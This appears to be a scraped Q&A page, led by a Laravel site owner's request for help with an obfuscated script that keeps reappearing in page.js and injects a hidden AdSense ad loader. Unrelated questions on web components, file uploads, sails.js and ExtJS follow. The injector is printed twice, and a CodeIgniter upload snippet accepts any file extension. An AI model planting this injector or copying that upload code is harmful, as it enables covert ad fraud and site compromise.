automatic creating files in Laravel website ads virus hack/attack - laravel

i have laravel website version 8 my website gettings ads.txt in my public folder and below code my my public/assets/js/page.js folder
i keep deleting these 2 things but cant find main part of attack
function bar2(foo1,foo){var bar=foo2();return bar2=function(bar1,Bar2){bar1=bar1-0xa8;var Bar1=bar[bar1];return Bar1;},bar2(foo1,foo);}function foo2(){var Bar2=['appendChild','16462230pfHvCY','552TnWsqr','21TgHTKx','async','24588SrzGYO','363894rrtNFG','querySelector','script','head','anonymous','510775rwehIy','6BEEmbK','aHR0cHM6Ly9wYWdlYWQyLmdvb2dsZXN5bmRpY2F0aW9uLmNvbS9wYWdlYWQvanMvYWRzYnlnb29nbGUuanM/Y2xpZW50PQ==','1334805ytshBr','1072656XSqaZe','305438lnJDWE','src','Y2EtcHViLTQwNzc5MzE4Njg4MTcwMDA='];foo2=function(){return Bar2;};return foo2();}(function(bar,bar1){var Bar1=bar2,Foo1=bar();while(!![]){try{var Foo2=-parseInt(Bar1(0xad))/0x1+-parseInt(Bar1(0xb2))/0x2*(parseInt(Bar1(0xae))/0x3)+-parseInt(Bar1(0xb1))/0x4+-parseInt(Bar1(0xb0))/0x5+parseInt(Bar1(0xa8))/0x6*(-parseInt(Bar1(0xb8))/0x7)+parseInt(Bar1(0xb7))/0x8*(parseInt(Bar1(0xba))/0x9)+parseInt(Bar1(0xb6))/0xa;if(Foo2===bar1)break;else Foo1'push';}catch(Bar){Foo1'push';}}}(foo2,0x49986),(function(){var Foo=bar2,foo1=document'createElement',foo=documentFoo(0xa9);foo1[Foo(0xb3)]=atob(Foo(0xaf))+atob(Foo(0xb4)),foo1[Foo(0xb9)]=!![],foo1['crossorigin']=Foo(0xac),fooFoo(0xb5);}()));
i have laravel website version 8 my website gettings ads.txt in my public folder and below code my my public/assets/js/page.js folder
i keep deleting these 2 things but cant find main part of attack
function bar2(foo1,foo){var bar=foo2();return bar2=function(bar1,Bar2){bar1=bar1-0xa8;var Bar1=bar[bar1];return Bar1;},bar2(foo1,foo);}function foo2(){var Bar2=['appendChild','16462230pfHvCY','552TnWsqr','21TgHTKx','async','24588SrzGYO','363894rrtNFG','querySelector','script','head','anonymous','510775rwehIy','6BEEmbK','aHR0cHM6Ly9wYWdlYWQyLmdvb2dsZXN5bmRpY2F0aW9uLmNvbS9wYWdlYWQvanMvYWRzYnlnb29nbGUuanM/Y2xpZW50PQ==','1334805ytshBr','1072656XSqaZe','305438lnJDWE','src','Y2EtcHViLTQwNzc5MzE4Njg4MTcwMDA='];foo2=function(){return Bar2;};return foo2();}(function(bar,bar1){var Bar1=bar2,Foo1=bar();while(!![]){try{var Foo2=-parseInt(Bar1(0xad))/0x1+-parseInt(Bar1(0xb2))/0x2*(parseInt(Bar1(0xae))/0x3)+-parseInt(Bar1(0xb1))/0x4+-parseInt(Bar1(0xb0))/0x5+parseInt(Bar1(0xa8))/0x6*(-parseInt(Bar1(0xb8))/0x7)+parseInt(Bar1(0xb7))/0x8*(parseInt(Bar1(0xba))/0x9)+parseInt(Bar1(0xb6))/0xa;if(Foo2===bar1)break;else Foo1'push';}catch(Bar){Foo1'push';}}}(foo2,0x49986),(function(){var Foo=bar2,foo1=document'createElement',foo=documentFoo(0xa9);foo1[Foo(0xb3)]=atob(Foo(0xaf))+atob(Foo(0xb4)),foo1[Foo(0xb9)]=!![],foo1['crossorigin']=Foo(0xac),fooFoo(0xb5);}()));

Related

Calls From External Web Components in PWAs [duplicate]

We are running 2 servers. Server 1 hosts a react application. Server 2 hosts a webcomponent exposed as a single javascript bundle along with some assets such as images. We are dynamically loading the webcomponent Javascript hosted on Server 2 in our react app hosted on Server 1. The fact that it is a webcomponent might or might not affect the issue.
What's happening is that the webcomponent makes uses of assets such as images that are located on Server 2. But when the react app loads the webcomponent, the images are not found as its looking for the images locally on Server 1.
We can fix this in many ways. I am looking for the simplest fix. Since Server 1 app and Server 2 apps are being developed by different teams both should be able to develop in the most natural way possible without making allowances for their app being potentially loaded by other apps.
The fixes that I could think of was:
Making use of absolute URLs to load assets - Need to know the deployed location in advance .
Adding a reverse proxy to Server 1 to redirect to Server 2 whenever a particular path is hit - Need to configure this. The React app could load hundreds of webcomponents, viz we need add a lot of reverse proxies.
Embed all assets into the single javascript on Server 2, like embed svgs into the javascript. - Too limiting. If the SVGs are huge and will make the bundle size bigger.
I was hoping to implement something like -
Since the react app knows where to hit Server 2, can't we write some clever javascript that will make the browser go to Server 2 whenever assets are requested by a Javascript loaded by Server 2.
If you download your Web Component via a classic script (<script> with default type="text/javascript") you can retrieve the URL of the loaded file by using document.currentScript.src.
If you download the file as a module script (<script> with type="module"), you can retrieve the URL by using import.meta.url.
Parse then the property to extract the base path to the Web Component.
Example of Web Component Javascript file:
( function ( path ) {
var base = path.slice( 0, path.lastIndexOf( '/' ) )
customElements.define( 'my-comp', class extends HTMLElement {
constructor() {
super()
this.attachShadow( { mode: 'open' } )
.innerHTML = `<img src="${base}/image.png">`
}
} )
} ) ( document.currentScript ? document.currentScript.src : import.meta.url )
How about uploading all required assets to a 3rd location, or maybe an AWS S3 bucket, Google Drive, Dropbox etc.? That way those assets always have a unique, known URL, and both teams can access them independently. As long as the names remain the same, so will the URLs.

File should upload outside the root folder

Im using codeigniter framework,
I have two folders in my public html folder,one contains the main website and other have mobile website
Both having same database
The issue that im facing is,
i want to upload a file from mobile website which should be uploaded in the folder which can be accessible for both sites(mobile and main).
While uploading from mobile site ,it only uploading inside the mobile folder(mobile site)
Some one please tell me how can i upload the file outside the mobile folder(mobile web root),im really struggling in it.
Fileshould upload outside the root folder
Give below is the code i am using
if($_FILES["resumecar"]["name"]){
$file = basename($_FILES['resumecar']['name']);
$ext = end(explode('.', $file));
$ext = strtolower($ext);
$filename = "resume_".time().'.'.$ext;
move_uploaded_file($_FILES["resumecar"]["tmp_name"],"uploads/careers/".$filename);
$uploadfile = "uploads/careers/".$filename;
}else{$filename = '';}

I can not see the image I just uploaded [sails.js]

I have this to upload photos:
module.exports = function (req, image, url, callback) {
var filename = (Math.floor((Math.random() * 100000000000) + 1)) + ".png";
req.file(image).upload({
dirname: '../../assets/images' + url
,
saveAs: function(file, cb) {
cb(null, filename);
}
}, function(error, uploadedFiles) {
return callback(null, "http://" + req.headers.host + "/images" + url + filename)
});
}
And it returns an url like this: http://localhost:1349/images/dependent/photos/30363010266.png
I can see that my photo is uploaded in project folder because I see it physically. But the URL do not work and has appeared not found error.
If I restart server, the URL works fine.
Thanks!
As #Eugene Obrezkov pointed out, your issue is related to where you are uploading your images and the grunt task runner. All the assets are copied from that folder (/assets) to the .tmp, and changes are watched by the grunt task runner, but that doesn't include new image files(If you are to an empty folder in the assets folder, in your case to the image folder). So the solution is quite easy, you must upload directly to the .tmp folder, ideally to .tmp/public/uploads/year/month/, you can choose your path as you see fit. Now there is a caveat with this approach, and it is that there is a grunt task that clears the contents of the .tmp folder on sails lift, so you will get the opposite effect, now to avoid this is quite easy too, you must edit the clean.js task to delete specific folders, to avoid deleting your uploads folder.
Go to to your project folders tasks/config/clean.js, and replace what's in there for this code, or modify it as you need.
module.exports = function(grunt) {
grunt.config.set('clean', {
dev: [
getFolderPath('fonts/**'),
getFolderPath('images/**'),
getFolderPath('images/**'),
getFolderPath('js/**'),
getFolderPath('styles/**'),
getFolderPath('*.*')
],
build: ['www']
});
grunt.loadNpmTasks('grunt-contrib-clean');
};
function getFolderPath(folderName){
return '.tmp/public/' + folderName;
}
Now your uploads will appear immediately to your end-user without restart, and restarts won't delete those uploads. Just make sure the .tmp/public/uploads/ path exist before trying to upload, or use mkdir to create it via code if not found.
There are other solutions, like making sure there is at least a file in the folder you are uploading to when the server starts, or using symlinks, but i think this is a cleaner approach. You can check those options here:
Image not showing immediately after uploading in sails.js
If you take a look into tasks folder, you can find Grunt task that copies all the assets folder to .tmp folder and make .tmp folder as static public folder.
When you are running Sails application, it runs these Grunt tasks, so that if you uploading file direct to assets folder it will not be accessible until you re-run server and Grunt tasks.
Solution? There is no solution. Basically, you are doing it wrong. Best practices is to store images\files\whatever on S3 buckets, Google Storage, another hard drive at least, but not assets itself. Because it's your source files of your project and in there should be located only files needed for project itself, not user's files, etc...
You can achieve without modifing any grunt task. I had the same issue and I have just solved it.
I see you already have an explanation of what's happening in other comments, so I'll go straight to my solution. I uploaded the files to the .tmp folder, and on the callback of the upload, I coppied them to the assets folder using the file system (fs-extra is a great package for that).
So now I can see the images in my UI as soon as it's added (cause I uploaded them to .tmp) and when my server stops, .tmp will be lost, but generated again in the next lift with the files copied to assets.
Hope it helps!
This is how I solved this problem. The answer requires several steps. I am assuming you want to place your recently uploaded images in a folder called users.
Steps:
1. npm install express --save (If you don't have it installed)
Create a Users folder in your apps root directory.
Open the text editor and view the following file config\express.js
Add or replace with the code
`
var express = require('express');
module.exports.http = {
customMiddleware: function (app) {
app.use('/users', express.static(process.cwd() + '/users'));
}
};
`
5. Make certain the newly uploaded images are placed in the Users folder
Finish

Integrating extjs 5 app build with sencha cmd and WebAPI in Visual Studio

I'm new to ExtJs and want to integrate ExtJs 5 app created with Sencha CMD to WebAPI app!
I did the integration for BUILD mode, but not for the DEVELOPMENT mode.
Regarding to this post
the steps of integration are done as show below!
Step 1. Creating the path: C:\VCProject\SVCodeCampWeb\WebAPI
Step 2. Creating the WebAPI project named 'API_NAME' on the directory of Step 1.
Step 3. Moving ExtJS 5 framework (ext-5.0.0) to the directory of Step 1.
Step 4. Generating the extjs app with sencha cmd:
C:\VCProject\SVCodeCampWeb\WebAPI\ext-5.0.0>sencha generate app MyApp
C:\VCProject\SVCodeCampWeb\WebAPI\API_NAME\API_NAME\CMDBUG1
Step 5. Including the ext app to Web Api through the Solution Explorer.
Step 6. Building the app with sencha cmd as shown below:
C:\Users\albert\Documents\Visual Studio 2013\Projects\BMSIA\BMSIA.Web\BMSJS>sencha app build
WORKS!!!
These are the files that I included in my _Layout.chtml of the WebAPI for BUILD mode and works!
<script src="~/CMDBUG1/build/production/MyApp/app.js"></script>
<link href="~/CMDBUG1/build/production/MyApp/resources/MyApp-all.css" rel="stylesheet" />
ERROR SECTION!!!
And for DEVELOPMENT mode I'm including these files:
< link href="~/CMDBUG1/build/production/MyApp/resources/MyApp-all.css" rel="stylesheet" />
< script src="~/CMDBUG1/ext/ext-all.js"></script>
< script src="~/CMDBUG1/app.js"></script>
But it's throwing this error:
TypeError: Ext.application is not a function
If you need more details, let me know!
Any help will be appreciated!
There is no need to set .js and .css to _Layout.cshtml. When you build your application using Sencha CMD you get index.html, app.js, resources/App-all.css and some images. The goal here is that this app can work anywhere on app domain (or other domain if CORS is applied). Web Api will provide URI's your app will call. This way you decouple client app (extjs) from server (webapi) even if they are in same project.And the whole thing will work if you for instance provide different webapi for your application. One thing to bear in mind is baseUri. While you are developing it will be http://localhost:xxxx and when app is deployed it will http://www.somedomain.com. I use simple singleton class where i set my dev and production paths(s). This is necessary so your ajax calls from models/stores/ext.ajax have a valid path to your api. General goal is to decouple client and webapi. You can put your builded app to /app folder and keep your extjs code inside /source folder which you can then exclude from publishing.
Ext.define('MyApp.config.AppConfig', {
statics: {
path: 'http://localhost:8888'
//path: 'http://client1.azurewebsites.net',
//path: 'http://client2.azurewebsites.net'
}
});
and then when calling api you say: url: MyApp.config.AppConfig.path + /users/list. This can be done nicely of course.

Google Fonts and JQuery not working when hosted by Google Drive

I've uploaded them to a public folder. Everything works apart from these two.
Is there some extra "Google Drive Hosting" script I need to put in?
Or should it be working without any extra and I need re-check my code?
Many thanks!
me also faced same problem while uploading my custom Jquery Plugin, bt i can able upload js file to an existing folder which is already using for my previous project , me faced this problem while creating new folder only
but
In my new folder me just deleted that js file and uploaded it again ,its working fr me nw
save file as .js
content of that file
(function ( $ ) {
$.fn.doValidation = function(options) {
//ur code goes here
}( jQuery ));

Resources